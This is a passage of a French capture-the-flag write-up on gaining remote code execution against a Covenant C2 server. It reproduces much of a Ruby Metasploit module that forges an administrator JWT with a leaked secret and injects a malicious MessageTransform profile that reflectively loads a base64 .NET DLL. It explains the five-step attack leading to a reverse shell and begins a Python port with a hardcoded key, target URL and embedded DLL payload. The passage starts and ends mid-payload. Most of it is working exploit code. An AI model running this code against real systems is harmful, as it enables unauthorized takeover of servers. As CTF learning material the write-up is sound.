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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
        payload =
    """public static class MessageTransform {
      public static string Transform(byte[] bytes) {
        try {
          string assemblyBase64 = \"#{dll}\";
          var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
          var assembly = System.Reflection.Assembly.Load(assemblyBytes);
          foreach (var type in assembly.GetTypes()) {
            object instance = System.Activator.CreateInstance(type);
            object[] args = new object[] { new string[] { \"\" } };
            try {
              type.GetMethod(\"Main\").Invoke(instance, args);
            }
            catch {}
          }
        }
        catch {}
        return System.Convert.ToBase64String(bytes);
      }
    
      public static byte[] Invert(string str) {
        return System.Convert.FromBase64String(str);
      }
    }"""
      end
    
      def is_admin(user)
        roles = JSON.parse(read_user_role(user['id']))
    
        ret = false
        roles.each do |role|
          ret = true if role['roleId'] == @roleid_admin
        end
    
        ret
      end
    
      def list_users
        request_api('GET', normalize_uri('api', 'users')).body
      end
    
      def read_grunt_cfg
        data = {
          'id': 0,
          'listenerId': read_listener_id,
          'implantTemplateId': 1,
          'name': 'Binary',
          'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
          'type': 'binary',
          'dotNetVersion': 'Net35',
          'runtimeIdentifier': 'win_x64',
          'validateCert': true,
          'useCertPinning': true,
          'smbPipeName': 'string',
          'delay': 0,
          'jitterPercent': 0,
          'connectAttempts': 0,
          'launcherString': 'GruntHTTP.exe',
          'outputKind': 'consoleApplication',
          'compressStager': false
        }
    
        # gerenate grunt payload
        response = request_api('PUT', normalize_uri('api', 'launchers', 'binary'),  data.to_json)
        if !response.nil?
          response = request_api('POST', normalize_uri('api', 'launchers', 'binary'),  data.to_json)
        end
    
        if !response.nil?
          return parse_grunt_cfg(response.body)
        end
    
        nil
      end
    
      def read_listeners
        response = request_api('GET', normalize_uri('api', 'listeners'))
        return response.body unless response.nil?
        nil
      end
    
      def read_listener_id
        listeners = read_listeners
        unless listeners.nil?
          listeners = JSON.parse(listeners)
          listeners.each do |listener|
            return listener['id'].to_i if listener['name'] == @listener_name
          end
        end
    
        return(-1)
      end
    
      def read_listener_type(name)
        response = request_api('GET', normalize_uri('api', 'listeners', 'types'))
        unless response.nil?
          listeners_types = JSON.parse(response.body)
          listeners_types.each do |listener_type|
            if listener_type['name'].downcase == name.downcase
              return listener_type['id'].to_i
            end
          end
        end
        return(-1)
      end
    
      def read_roleid_admin
        roles = request_api('GET', normalize_uri('api', 'roles')).body
        role_id = ''
    
        roles = JSON.parse(roles)
        roles.each do |role|
          if role['name'].downcase == 'administrator'
            role_id = role['id']
          end
        end
    
        role_id
      end
    
      def read_user_role(id)
        request_api('GET', normalize_uri('api', 'users', id, 'roles')).body
      end
    
      def request_api(method, uri, data = nil)
        headers = {}
        headers['Authorization'] = "Bearer #{@token}"
    
        request = {
          'method' => method,
          'uri' => uri,
          'headers' => headers
        }
    
        if method =~ /POST|PUT/
          request = request.merge({'ctype' => 'application/json', 'data' => data}) unless data.nil?
        end
    
        response = send_request_cgi(request)
        if response && response.code.to_s =~ /200|201/
          return response
        end
    
        nil
      end
    
      def message(msg)
        "#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
      end
    
      def parse_grunt_cfg(cfg)
        cfg = JSON.parse(cfg)
    
        # TODO: better way (https://rubular.com/)
        aes_key = cfg['stagerCode'].match(/.*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);.*$/).to_s.split("\"")[1]
        guid_prefix = cfg['stagerCode'].match(/.*string\saGUID\s=\s@\"(.*?)\";.*$/).to_s.split("\"")[1]
    
        return([aes_key, guid_prefix])
      end
    
      def random_id
        "#{SecureRandom.hex(4)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(6)}"
      end
    
      def upload_profile
        data = {
          'httpUrls': [
            '/en-us/index.html',
            '/en-us/docs.html',
            '/en-us/test.html'
          ],
          'httpRequestHeaders': [
            {'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
            {'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
          ],
          'httpResponseHeaders': [
            {'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
          ],
          'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
          'httpGetResponse': '{DATA}',
          'httpPostResponse': '{DATA}',
          'id': 0,
          'name': "#{SecureRandom.hex(5)}",
          'description': '',
          'type': 'HTTP',
          'messageTransform': "#{generate_transform_payload}"
        }
    
        response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
        return response['location'].split('/')[-1] unless response.nil?
    
        nil
      end
    
      def check
        @ip_address = datastore['RHOST']
    
        print_status(message('Trying to connect.'))
    
        # generate jwt token w/ ramdomized username.
        @token = generate_jwt
    
        unless list_users.nil?
          report_vuln(
            host: @ip_address,
            name: name,
            refs: references,
          )
    
          return Exploit::CheckCode::Vulnerable
        end
    
        return Exploit::CheckCode::Safe
      end
    
      def exploit
        unless check == CheckCode::Vulnerable || datastore['ForceExploit']
          fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
        end
    
        # check for active listener conflict.
        if check_tcp_port(datastore['RHOSTS'], datastore['C2_RPORT'])
          fail_with(Failure::Unknown, "The remote Covenant C2 have already tcp/#{datastore['C2_RPORT']} opened.")
        end
    
        print_status(message('Generating admin token w/ leaked JWT secret.'))
    
        # generate jwt token w/ ramdomized username.
        @token = generate_jwt
    
        print_status(message('Impersonating an admin user... finding token fields:'))
    
        # get role id with administrative right.
        @roleid_admin = read_roleid_admin
        print_good(message(" * found admin UID: #{@roleid_admin}."))
    
        users = JSON.parse(list_users)
        users.each do |user|
          next if user['userName'].downcase == 'serviceuser'
    
          if is_admin(user)
            print_good(message(" * found admin user: #{user['userName']}"))
            print_status(message('Generating new admin token w/ leaked JWT secret.'))
    
            # generate jwt token w/ spoofed username and user id.
            @token = generate_jwt(user['userName'], user['id'])
    
            break
          end
        end
    
        # generate and upload malicious profile.
        print_status(message('Genarate and inject malicious profile.'))
        profile_id = upload_profile
        
        fail_with(Failure::Unknown, 'Could not upload the malicious profile.') if profile_id.nil?
    
        # create a listener w/ embeded malicious profile.
        @listener_name = SecureRandom.hex(4)
        if create_listener(profile_id.to_i) == false
          fail_with(Failure::Unknown, 'Could not create the malicious listener.')
        end
    
        print_status(message('Get GRUNT configuration:'))
    
        # get grunt configuration (guid prefix and aes key).
        aes_key, guid_prefix = read_grunt_cfg
    
        print_good(message(" * AES key: #{aes_key}"))
        print_good(message(" * GUID prefix: #{guid_prefix}"))
    
        print_status(message('Sending stage0 to trigger exploitation.'))
    
        # trigger the exploitation.
        generate_stage0(aes_key, "#{guid_prefix}#{SecureRandom.hex(5)}")
      end
    
    end
    
    

    Cet exploit nous apprends quand même quelque chose de fort utilise: la méthodologie de l’attaque. On va tenter d’injecter un DLL dotnet dans le processus Covenant, qui détient obligatoirement les privilèges Administrateur System, en abusant du token administrateur qu’on a précédemment généré. L’exploit s’articule en 5 étapes:

    • On récupère la liste des utilisateurs et on craft le token admin
    • On utilise le token admin pour créer un profil malicieux sur le covenant dans lequel on va placer une DLL vérolée qui, à son exécution, lance un reverse shell. Pour cela on exploit l’option MessageTransform qui permet de personnaliser l’encodage des communications entre le C2 et une victime infectée. L’option MessageTransform prend en paramètre le code d’une classe C# dotnet (que l’on doit appeler MessageTransform). Malheureusement, on ne peut pas lancer le reverse shell directement depuis la classe MessageTransform que l’on vient de créer, car elle n’a pas accès a toutes les fonctionnalités du namespace System (nécessaire pour exécuter des commandes). Cependant on a accès à toutes les classes nécessaires pour injecter un DLL dans la mémoire du processus (les classes Activator de System et Assembly de System.Reflection). Comme expliqué dans l’article, passer par un DLL qu’on va invoquer permet de passer outre cette restriction.
    • On créé un listener malicieux lié au profil malicieux
    • On récupère la configuration grunts de notre listener
    • On lance la stage finale: on se connecte au listener Covenant que l’on a créé, ce qui a pour effet d’activer la DLL vérolée et de pop le reverse shell.

    Comme mon langage de prédilection est le python, et que je n’y connais rien en Ruby, je me motive enfin à (re)programmer entièrement l’exploit en python. Ce fut très long et fastidieux, mais j’ai réussi à parvenir à mes fins. Je laisse au lecteur le soin de poser ces questions en commentaires.

    import jwt
    import time
    import requests
    from colorama import *
    import random
    import base64
    import time
    import sys
    import re
    from Crypto import Random
    from Crypto.Cipher import AES
    import os
    import hashlib
    import json
    import socket
    import subprocess
    
    
    def randomhex(size) -> str:
        char = "abcdef0123456789"
        random_hex = ""
        for i in range(0,size*2):
          random_hex += random.choice(char)
        return random_hex
    def random_jti() -> str:
        f = lambda x: ''.join(["{}".format(random.randint(0, 9)) for num in range(0, x)])
        return f"{f(8)}-{f(4)}-{f(4)}-{f(4)}-{f(6)}"
    def crypt_sha256(content):
      crypto = hashlib.sha256()
      if isinstance(content,str): content = content.encode()
      crypto.update(content)
      return crypto.digest()
    def _pad(s):
        return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
    class exploit():
        def __init__(self):
          self.JwtKey = "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"
          self.url = "http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/" # endpoint où on trouve le covenant
          self.ip = "172.20.0.2" # ip de la machine qui hosts le convenant
          self.host = "unchasseursachantchasser.chall.malicecyber.com" # hosts sur lequel on se connectera pour envoyer la charge final
          self.c2_port = 0 # port sur lequel le client va se connecter
          self.ADMIN_NAME = ""
          self.ADMIN_ID = ""
          self.ADMIN_TOKEN = ""
        def _gen_jwt(self,USER,USERID):
            EXPIRATION = 1968264576
            content = {
                "sub": USER,
                "jti": random_jti(),
                "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": USERID,
                "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
              "User",
              "Administrator"
                ],
                "exp": EXPIRATION,
                "iss": "Covenant",
                "aud": "Covenant"
            }
            return jwt.encode(content, self.JwtKey, algorithm='HS256').decode('utf-8')
    
        def get_user_list(self) -> dict:
            USER = "hackline"
            USERID= "df34c0a2fd5b408ab4fe0c1ac98d5677"
            token = self._gen_jwt(USER,USERID)
            r = requests.get("%s/api/users" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + token})
            for user in r.json():
              print("""- %s : %s""" % (user["userName"],user["id"]))
            return r.json()
    
        def generate_transform_payload(self):
          # POC: execute calc
          #dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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